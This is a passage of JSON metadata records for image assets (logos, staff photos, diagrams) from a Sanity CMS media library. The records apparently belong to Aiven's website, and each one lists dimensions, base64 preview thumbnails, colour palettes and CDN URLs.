227489f1500131bb32247782dfeb4","size":13979,"uploadId":"AveVDOYE7BAkci0eWGL5UruOLI8HNKft","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a95ddd28f2227489f1500131bb32247782dfeb4-750x235.png"} {"_createdAt":"2022-06-16T22:54:01Z","_id":"image-6ac79764a33469916a97b0444ebc84c806878d22-151x34-svg","_rev":"0HOthdQkSgJdYc0C9vxWCW","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:01Z","assetId":"6ac79764a33469916a97b0444ebc84c806878d22","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D30D:3hLg4eTd:dCg*g4e-eS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.4411764705882355,"height":34,"width":151},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAwUlEQVQYlU2OvyvFcRSGn+mK/NjcgRQJ6d5uGISLDFJWGSxSymAUA0k9301Gpd7PXyucwXA673tOPT1g62MbYxti+pghXa4xZ5h5zCRmBjON6WEmMLP/eq/+c5gp6NoSthvMHeYSc4sR84i5wOxgVjErmAXMImYNM8C2XLetmgHYRtheMe+Ye0yH+cS8YJ4K+gNY/7U3m5XHmD3MCHOK2cccgrkq2AfmofIX5g3zXNYbf0bZxWwX9AhzgjnAnNc+/gYk6WukTK/hAwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334454","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#066c86","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0782a6","foreground":"#fff","population":1.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#067292","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7fdef9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#067292","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0782a6","foreground":"#fff","population":1.48,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"jobcloud-responsive-rgb__1_.svg","path":"images/sczeoy4w/production/6ac79764a33469916a97b0444ebc84c806878d22-151x34.svg","sha1hash":"6ac79764a33469916a97b0444ebc84c806878d22","size":1683,"uploadId":"uc3tbyh5RQ50mL2vfozhy3oKw9oyTEKE","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ac79764a33469916a97b0444ebc84c806878d22-151x34.svg"} {"_createdAt":"2022-07-06T08:12:06Z","_id":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_rev":"0HOthdQkSgJdYc0CAX5TdO","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:21:09Z","altText":"Aiven for Grafana® logo","assetId":"6ae9b34c7ca56664b6e217e40c0b3e6948de81d3","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEyUlEQVQ4jW3V3U/TZxQH8B8X/AH6B9jSQkEQO7BQWl5EzN6ciReb2+JuRswimF3pxRJ3MXnZMmfMlI22tFBohdL2118jENlEYGZTicqLKDpBk2XTe8wifZ7zPE/PWX4tEt128dx+ck6ec75Hy/iLNOa3aS/67BoLlhSwkGM76y9tZgNlXTxcPssHK57xSCXjUWeGX3zjGQxXz0BsTyeM1jRDvHYbT7gLIOnRhO7VQK/XctjGeZvG+myFrM9eyoIl7SzkMPhA2RoPlz/nQ7uARyqzMFKbhfQ7IC4dXBepllWI1xkQd7dB0uMA3VP4XN+rge7VNNFfoTF/USEL2Jysz97NgsXLLOTY4ANlxMM7iQ9WEB/aRaC3kLz+JanF8ySnj5HQmzYg4V6GpLcbdK9TpOoLMyMuTdvwWQuYv8jBArYu1md/zIPFioUcxMPlyC/WIMS8CBerEJL7UM6fw+yfUyhvdaNI7ydIuJXQvY+F7u0SqXqHMBoLtEyvZTvzWduZv2iZBeyKB0uQhRzIh5wIYx+Q+OUEip9bUVw+gnKpB7N/zZJa6kExdhAh4Uahe5VI1d8VRkObMBq3aZneHc3MZzWYv2iDBey0BQ5WEowfRrlwntSDCMmlH0g9GKLs02uY/WOS5K8nURj7UOgeEqn6DWE0pITRuNcEO5nPssr8RcQCduTBYhMkHq5A0N8mebOD1O+jpO4FSc6fI7WayKHq0TDJq60oUg0oUvUkjMZVkW7qMMEZ5rOsvwJSrsLhOhJTbSQXe0itDJJc+J7kXAfJO2dILV0g9XAI5a0OEuMHUKS8Jrgu0k3TJviM+SzwaoV8cDfB+MckF38ktWaQWhnKVSdvf0ty/izJG6fy7+YpFJOHURiNJggi3fTUBDPMZ8nmQRvyUCmC/i7JuW9IreqknoyTvPMdiamjJGY/z4FqqYfkrW6SN75AOX0UxcR7JNJ7syLdlDFB9hoYcaGYOk5qJUrqyQTJuz4Sl48QxOoI9H0krnxKcu6rfNv3/KgWzqK81k5y7K0tcLNlK/HQTgTjEIrrp0neHyT1IEpi+jjBiJt4dDfBcBVB3EPi0gGS05+RvN2FavEcyt9OkJw4sNXyLPNZnrNAMfHRFhSzJ0ku9KC8P0TyZieB/iZBpJIg6syDI9UEoy4SeiOKiUMkrnyCcvJ9kpdazE+ZMQe7k/XuWGP9uwgut6Kcv4DqYYzUSgTFT60E0aocyLfAPQQxF4p4LYmkJz82+U/ZHBuftZn1WgwWKt+AsY9IzvegepREOfc1QXI/mrv8OliNEHORiNciJOpQJF8Z7LQ52D7rduYramcB2zKP1CgxddzEEMY/NNfPDAeESCXyqBNhuApzLecrzIP6f1fPDIdS5rd2s76SxzzqVjzeQjy6B3l4J/4PiC9bhkSdgqRnTejeTjMcpNFQoLF+l8b81pfx1fV6fJXn4utfLZsVEsRrzfi6C0lPJ+je3aB7C0WiJh+wf5+xaCxgBmyxgwVL2nio9GXArvPBilzA8qgzC8NVACPV6xBzrcJoTQoS7mOQrHNA0lPIJ5tzqa3lTkDApr3wFedOAA85tvH+0mY+UNbJw+Uzmycgs3kCnsJI9VWIuU7DaE2TeQIg4S5QKW8OE7pH+wffZTV5GaBMMgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c484c","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#602d0a","foreground":"#fff","population":1.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fadb81","foreground":"#000","population":1.37,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcb8a0","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fadb81","foreground":"#000","population":1.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b5c3d","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59a09","foreground":"#000","population":1.27,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-grafana.svg","path":"images/sczeoy4w/production/6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64.svg","sha1hash":"6ae9b34c7ca56664b6e217e40c0b3e6948de81d3","size":6269,"title":"Aiven for Grafana® logo","uploadId":"pLo96ExJHnU3Msb3qkJsqFCt9D3MSpjW","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64.svg"} {"_createdAt":"2022-06-30T20:10:34Z","_id":"image-6aeb39a13259127f83859c761b6cec421b263b79-2500x1771-jpg","_rev":"CK1sLU2mnwa3vmbYWEe0FR","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:35Z","assetId":"6aeb39a13259127f83859c761b6cec421b263b79","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4T9L#%M?a_3of_4oft7t7of?bofIUM|Rj~qofofj[j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.411631846414455,"height":1771,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAIBCP/EABkQAQADAQEAAAAAAAAAAAAAAAEAAiERA//EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDqW9kcilrLqcmV56i6SzzB7Ao2IiB//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b4b4d","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#414142","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7b7b8","foreground":"#000","population":0.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b7b8","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#969596","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e7e80","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"6aeb39a13259127f83859c761b6cec421b263b79-2500x1771.jpg","path":"images/sczeoy4w/production/6aeb39a13259127f83859c761b6cec421b263b79-2500x1771.jpg","sha1hash":"6aeb39a13259127f83859c761b6cec421b263b79","size":228958,"uploadId":"uMbDMamGD2NmicQWoUgOW9lKmUQ5MSw1","url":"https://cdn.sanity.io/images/sczeoy4w/production/6aeb39a13259127f83859c761b6cec421b263b79-2500x1771.jpg"} {"_createdAt":"2023-04-13T13:00:54Z","_id":"image-6b55ed9cad2a4bacb5028fe67c7e41ee1c9ac9e8-200x200-jpg","_rev":"ULcVtA1fOCO5xNRu1bG2Ad","_type":"sanity.imageAsset","_updatedAt":"2023-04-13T13:00:54Z","assetId":"6b55ed9cad2a4bacb5028fe67c7e41ee1c9ac9e8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHSY{qxu-;t7IU%Mj[xuj[M{~qayM{ofxuRjWBD%WB%MM{ofRjj[t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":200,"width":200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQADAAAAAAAAAAAAAAAAAAYBBAj/xAAhEAABAwQDAAMAAAAAAAAAAAADAAECBAUGERITUSExQf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDqiT8Yu7/TKcxLL6DJ6i5BoYGjKhM4SdkdbdvFiJMhIF9jCMjEl8O+24/i1B269UUiStw6MPc7zJqGnlL10FgilpiyfluBqXT+siCpREQEREH/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464646","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#464646","foreground":"#fff","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b8b8","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1597242032183.jpeg","path":"images/sczeoy4w/production/6b55ed9cad2a4bacb5028fe67c7e41ee1c9ac9e8-200x200.jpg","sha1hash":"6b55ed9cad2a4bacb5028fe67c7e41ee1c9ac9e8","size":4261,"uploadId":"kHjk5BmHW9Rs685EL0pIeaiTBUDXFwzc","url":"https://cdn.sanity.io/images/sczeoy4w/production/6b55ed9cad2a4bacb5028fe67c7e41ee1c9ac9e8-200x200.jpg"} {"_createdAt":"2024-04-05T01:04:22Z","_id":"image-6b78ce1cbd16d1c0b34cd6b58c7374131fd88496-989x989-jpg","_rev":"o6EKmUZPKElQbhROBpV1PF","_type":"sanity.imageAsset","_updatedAt":"2024-04-05T01:04:22Z","assetId":"6b78ce1cbd16d1c0b34cd6b58c7374131fd88496","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ejIX:LR*yDs:r=~qt7S4j[MxbHj[RPWBbHNHWBWBjZtRbboLsmazWW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":989,"width":989},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAUHCAT/xAAjEAACAQQBBAMBAAAAAAAAAAABAgMABAURBgcSIUETMWEi/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQIDBP/EABsRAAMAAwEBAAAAAAAAAAAAAAABAgMRIRIT/9oADAMBAAIRAxEAPwC3RKlpZSSKpPYpOh7qB4pnjl5bkMHKKfBY7AqnuofVO+jzlxisVMIbeL+GkX7Y+6iuPckzuEsBe2bx/FIxLp27Lfp/Kncv1LT4XxefnSa6aJuYUaUnQpUTx3Nx5nC2l+GVTMgLAej7pTGbRlLqFi4MfdxSwGQvKxLlm3s1wwZjIPZrAbuX4u3t7QfGqUoR2S+VavSNC8FRbLiuPig2FMYc7O/J+6UpSy+AyJK2f//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#452421","foreground":"#fff","population":2.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#864334","foreground":"#fff","population":4.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4bf","foreground":"#000","population":6.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4bf","foreground":"#000","population":6.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc9c82","foreground":"#000","population":2.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bf8171","foreground":"#fff","population":2.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b96f55","foreground":"#fff","population":2,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Michael Coates.jpg","path":"images/sczeoy4w/production/6b78ce1cbd16d1c0b34cd6b58c7374131fd88496-989x989.jpg","sha1hash":"6b78ce1cbd16d1c0b34cd6b58c7374131fd88496","size":129582,"uploadId":"mlhD2YuZdHlWRtb8vjVrX8YjhfZdADpO","url":"https://cdn.sanity.io/images/sczeoy4w/production/6b78ce1cbd16d1c0b34cd6b58c7374131fd88496-989x989.jpg"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-6b7f6d009757279a33e238f7498422c3da79b6e6-640x460-png","_rev":"CK1sLU2mnwa3vmbYWEbTeT","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:08Z","assetId":"6b7f6d009757279a33e238f7498422c3da79b6e6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VFN^l39a00M|00_3oe%2t7t7Dij[_3ae-;~qfkt7j[of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.391304347826087,"height":460,"width":640},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAADKklEQVQ4jYWS70tTURzG738QRC+iiIooKqig6NeLMiix0BWlsyQJNdEisMJCi5abG0233GYx+0EUhkFq5OyHkkaG686mqa/KtK1XxXRrbnf37u7eu+08cW4t9qLoxYfz5XC+z3nO8z3MjfvtaH3QDmfHI/LQ5cKLwddwsyy8Xi/GxsYwMTGBycnJvzI+Pg7W48HA4CDp6+tDf38/mIOna5BfdQYltXWktb0D78Y+4OOnT5iamsLn6c+Ynp7GzMwMfD4f/H6/Cq2/+v3quU5XL642WYjhmhkOhwPMNu1xsvGgluSWV+Ne91PyLTCLaDSK+fl5RCIRFY7jEI/HkUgkVERRhCRJCIXD6HA9I6Vna1FZc47oDQbCbNcexwZNEXLLT+Gh6znCkYjaRAVoY6ZZURQkk0kVWqfTacQEAU/6X6HyYj1On6+FobERzKZDR7E67xB2lZ7EvSc9CMwFEeU4cDwPkbpJSBClLBIS4mICkiyDi/EYeDOEKwYjLtTVoaGhAcx6jRbL92mwo6Qcd7t68H02qLqMxmIQJRkJWfkrUjKJGC9geHgYZrMZ9fX10Ol0YNYWaLFsnwbbSipwp7sHgWAIUS6m3h7POPy9UldyMqmSTKXACwLcbjeam5pw+dIl6KnD1flaLN2rwdZjFbjT1YPZUBi8EFfJZJidpawoaoapVErNmWVZWK1W6K7o0EgzXHWgEIv35GNLcRluU8EfVFCEIPyaakaM1qogdSnLSKXTiIsiPB4PbDabmp/RaASzIq8Qi3LysUlbhrbOpwiG5yGKdMq/RDJkT1qhgrIMgedVQbvdDr1eD5PJBGbZ/iKyMKeAbCgux63uXhKN8SCEqE+iXyMbuk9XRRCgzM2BDwQwwrLktyAxmUyEWZJXhAW7C7CusIy0dHTh+1zoz1OzHWb2aG5cMAjO50PoyxcMDw3BZreTBqMJpmYLmJUFJWRx7hGy5vAJVBmvk8cvX4EdeY/R0dF/4h0Zgdftxru3b9HV2Uks11vQaG0h1244CbOztDq9+WgF2XLsJPZW1pCqy3pY7K1oa2v7L06nEw6HnTRbrTDbHMRy05n+CXTVfDkq5iw3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f4c52","foreground":"#fff","population":2.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#133e4a","foreground":"#fff","population":10.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7b7b","foreground":"#fff","population":10.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c4b4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f28880","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7b7b","foreground":"#fff","population":10.99,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d85b5f","foreground":"#fff","population":0.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6b7f6d009757279a33e238f7498422c3da79b6e6-640x460.png","path":"images/sczeoy4w/production/6b7f6d009757279a33e238f7498422c3da79b6e6-640x460.png","sha1hash":"6b7f6d009757279a33e238f7498422c3da79b6e6","size":22396,"uploadId":"l2MrhIoVCoEkxK2iXi23vosoQO27LkwX","url":"https://cdn.sanity.io/images/sczeoy4w/production/6b7f6d009757279a33e238f7498422c3da79b6e6-640x460.png"} {"_createdAt":"2023-12-19T10:46:44Z","_id":"image-6c16a75ff45cf2fb02c56cc237fac81d9ebdaa01-6048x4024-jpg","_rev":"Do3156plRwIXmiihO2FvoZ","_type":"sanity.imageAsset","_updatedAt":"2023-12-19T12:29:12Z","altText":null,"assetId":"6c16a75ff45cf2fb02c56cc237fac81d9ebdaa01","description":"Oskari and Viktor in Crabweek","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V49Gg@4m0c54=}:%-=J6Irxu0Jxc}c~EIp0|S6-W$MM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.502982107355865,"height":4024,"width":6048},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYBBAUH/8QAIhAAAgEEAQQDAAAAAAAAAAAAAQMCAAQFESEGEhQxEyJh/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgEE/8QAHREBAAEDBQAAAAAAAAAAAAAAAQACAxESEyGx8P/aAAwDAQACEQMRAD8A4j04pWZyC8f8vjpOz3TPqtrN4IWsAm2bD6x7eToy/aSLV8rZsWJ4lHkU5YJPm2S7m4nOTe4gknexr1WwoNIyF8w0pIV0zBioSvJtk0j3Hniira2NcDMvbDkjUToUUixnn3UG7P/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d2c4c","foreground":"#fff","population":3.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#061d4a","foreground":"#fff","population":5.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#061d4a","foreground":"#fff","population":5.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#be91c0","foreground":"#000","population":1.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1a3af","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6579af","foreground":"#fff","population":3.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b20e2d","foreground":"#fff","population":0.66,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"AIVEN2329.jpg","path":"images/sczeoy4w/production/6c16a75ff45cf2fb02c56cc237fac81d9ebdaa01-6048x4024.jpg","sha1hash":"6c16a75ff45cf2fb02c56cc237fac81d9ebdaa01","size":13144844,"title":"Crabweek photo","uploadId":"6XWphxT8tJVUDrXXKX2GOTwOmL3w4VmD","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c16a75ff45cf2fb02c56cc237fac81d9ebdaa01-6048x4024.jpg"} {"_createdAt":"2022-09-02T15:07:10Z","_id":"image-6c2b1c65985eb1ab7b66a67a81394ac20ca956c8-1000x1000-jpg","_rev":"xlOSxh3AFn1sOxBzrMxqs6","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T15:07:10Z","assetId":"6c2b1c65985eb1ab7b66a67a81394ac20ca956c8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eVF~dW%g.Tr=oz_NWqbcRPRPoLjEM{kCaxJ8axs:W=ozxuoKe.WBR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1000,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAYHAgQI/8QAJRAAAQMDBAICAwAAAAAAAAAAAQIDBAAFEQYSEzEHIRRBUVNh/8QAFwEBAQEBAAAAAAAAAAAAAAAABAMBAv/EABsRAQACAgMAAAAAAAAAAAAAAAEAAgMSMUGh/9oADAMBAAIRAxEAPwCx7i6qNbJT7eN7balJz+QKrCyz+SPGvAmPmTvy/ucykgnrFZ+WdfCybLRECVvyGzyq/Wk1R0bVk2HGehxiDGWrcSrvuucuyms3C0qO866Q4h1CXE4KVAEGlQzR2r7Zc9PRXkPBBSnjUlfohQHulXGQZDNU2CDPv94lSULU8WSM7uvX1UAYskJHjSXdAg/ML3HuJ6GaUodV9j71A46Zv+PGkr0+SSc8yuj/AAUpSkkAz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65483a","foreground":"#fff","population":3.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":16.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcc4","foreground":"#000","population":16.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcc4","foreground":"#000","population":16.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0bbb2","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a1796a","foreground":"#fff","population":5.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"olena-babenko.jpg","path":"images/sczeoy4w/production/6c2b1c65985eb1ab7b66a67a81394ac20ca956c8-1000x1000.jpg","sha1hash":"6c2b1c65985eb1ab7b66a67a81394ac20ca956c8","size":67159,"uploadId":"KjBi27mZ3iQ1Hf7OjQRo47SP6id5ZQNq","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c2b1c65985eb1ab7b66a67a81394ac20ca956c8-1000x1000.jpg"} {"_createdAt":"2023-10-16T07:19:01Z","_id":"image-6c35d762229583864378e27f4fc8d65b4b610086-5720x2280-png","_rev":"YchETsjFZqXXcMnazIYXKi","_type":"sanity.imageAsset","_updatedAt":"2023-10-16T07:19:01Z","assetId":"6c35d762229583864378e27f4fc8d65b4b610086","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.508771929824561,"height":2280,"width":5720},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAABYlAAAWJQFJUiTwAAAA7UlEQVQYlXWQWY4DIQxEuf9BR+mO2BpsvGB6BCRSRtE81Zfl8lLuXoylN4NFfLqeMRPz/T9u9o7RbWpjZsIcU/YhENEYH2PvP2scMxPRBS3X1ohEWFW7KiLWWpnF1tCXc9zdhtqwVXApJe/943j+PA4fAgAQkVlXVSSqyNCEWPqCWSpyQSHW3s3FGL3353kexxFCQESR2SrCpUK8arpqqZWIWms5XyHmmEvOV2vN7SouiGje3LtZZ+YKAIBLMH8jyjmnlFJMIYRSinul9IWItBkC7VBERFX3GgAopSDiTPubbUbE7d9me7P/773/AvgM0vjReD2cAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#727171","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#29425a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#acbfd0","foreground":"#000","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbfd0","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4dcfc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e8ca6","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94b1ce","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"entity-relation.png","path":"images/sczeoy4w/production/6c35d762229583864378e